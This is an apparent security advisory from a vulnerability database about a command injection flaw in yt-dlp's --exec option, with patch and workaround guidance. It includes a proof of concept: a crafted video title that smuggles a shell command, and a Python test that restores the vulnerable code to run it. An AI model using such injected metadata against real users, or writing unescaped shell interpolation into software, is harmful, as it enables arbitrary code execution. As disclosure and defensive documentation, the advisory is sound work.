Vulnerability Database

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Total vulnerabilities in the database

yt-dlp: Arbitrary command injection possible if --exec option used with yt-dlp — yt-dlp

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Summary

yt-dlp's --exec option is vulnerable to arbitrary command injection when handling untrusted metadata if the argument uses standard string formatting (e.g. %(title)s) or other unsafe conversions. An attacker could achieve remote code execution on the user's machine via maliciously crafted metadata containing quotes or other special shell characters.

Details

Since yt-dlp version 2021.04.11, the --exec option has supported "output template syntax", which is a superset of Python's printf-style string formatting also used by the --output option. This means the user is able to pass a "command template" as an argument to the --exec option which will be executed by the user's shell. The command template allows for the downloaded video's metadata to be interpolated into the command string.

yt-dlp implements a %()q conversion, which will shell-quote/escape any metadata value such that it is safe to be interpolated into a command string. However, there are unsafe conversions such as %()s which result in the command template being formatted with the raw metadata string. These unsafe conversions do not perform any sanitization or escaping for shell contexts. If one or more of these unsafe conversions is used in the command template, an attacker can craft a malicious metadata value containing shell operators (e.g. ;, &, |) to break out of the intended command and execute payload commands.

Impact

The impact is limited to users who pass an --exec command template containing unsafe conversions in their yt-dlp command or configuration file: %()s, %()a, %()r, %()j, %()S (including any of their flagged variants.)

Patches

yt-dlp version 2026.06.09 fixes this issue by restricting the conversions that can be used in an --exec command template to those known to be safe: %()d, %()i, %()f, %()q (including any of their flagged variants.) It also restricts the characters that can be used in command template defaults and placeholders when the user passes an --exec argument containing output template syntax.

Workarounds

This vulnerability can be fully mitigated by doing any of the following:

  • Upgrade yt-dlp to version 2026.06.09 or later
  • Only use safe conversions (e.g. %()d, %()i, %()f, %()q) in any --exec command templates
  • Do not use "output template syntax" in any --exec arguments
  • Do not use the --exec option

Proof-of-Concept

  1. An attacker sets the title of a video to a malicious payload, e.g.: video; touch pwned.txt #
  2. The victim downloads this video using yt-dlp with the --exec flag.

Reproduction steps (simulated):

  1. Create a python script poc.py to simulate the internal behavior:
import unittest import os from yt_dlp.postprocessor.exec import ExecPP from yt_dlp.YoutubeDL import YoutubeDL from yt_dlp.utils import PostProcessingError # Import Popen to use the REAL one for the PoC (to actually create the file) from yt_dlp.utils import Popen as RealPopen class TestDemonstrativePoC(unittest.TestCase): FILE_NAME = "PWNED.txt" def setUp(self): # Remove the file if it exists if os.path.exists(self.FILE_NAME): os.remove(self.FILE_NAME) def test_1_demonstrate_vulnerability_simulated(self): """ Simulates the code BEFORE the fix to show what would happen. """ print("\n--- TEST 1: Simulating vulnerable state ---") # 1. Define the vulnerable Parse Method def vulnerable_parse_cmd(self, cmd, info): # This mimics the code before my patch tmpl, tmpl_dict = self._downloader.prepare_outtmpl(cmd, info) if tmpl_dict: return self._downloader.escape_outtmpl(tmpl) % tmpl_dict return cmd # 2. Patch the class temporarily original_parse_cmd = ExecPP.parse_cmd ExecPP.parse_cmd = vulnerable_parse_cmd info = { 'id': '1234', # MALICIOUS TITLE: # 1. 'video' gets echoed # 2. ; separator # 3. touch PWNED.txt creates the file # 4. # comments out the rest 'title': f'video; touch {self.FILE_NAME} #', 'ext': 'mp4', 'filepath': 'video.mp4' } ydl = YoutubeDL({'verbose': False, 'quiet': True}) try: print(f"[*] Payload Title: {info['title']}") print("[*] Executing: echo %(title)s") # Use the REAL Popen to actually execute shell commands import yt_dlp.postprocessor.exec original_popen_ref = yt_dlp.postprocessor.exec.Popen yt_dlp.postprocessor.exec.Popen = RealPopen pp = ExecPP(ydl, 'echo %(title)s') pp.run(info) # Restore Popen ref yt_dlp.postprocessor.exec.Popen = original_popen_ref # Check if file was created if os.path.exists(self.FILE_NAME): print(f"[!] VULNERABILITY CONFIRMED: File '{self.FILE_NAME}' was created on disk!") else: print("[?] File not created. Payload might have failed.") finally: # Restore the secure method ExecPP.parse_cmd = original_parse_cmd if __name__ == '__main__': unittest.main()
  1. Run the script: python3 poc.py
  2. Check the directory. A file named PWNED.txt will be created, proving arbitrary command execution.

<img width="1386" height="757" alt="poc" src="https://github.com/user-attachments/assets/b21a1dd9-f86d-4836-861b-7e880f639c08" />

  • Published: Jun 16, 2026
  • Updated: Jun 17, 2026
  • GHSA: GHSA-69qj-pvh9-c5wg
  • Severity: High
  • Exploit:
  • CISA KEV:

CVSS v3:

  • Severity: High
  • Score: 7.5
  • AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

CWEs:

OWASP TOP 10:

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CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

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Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

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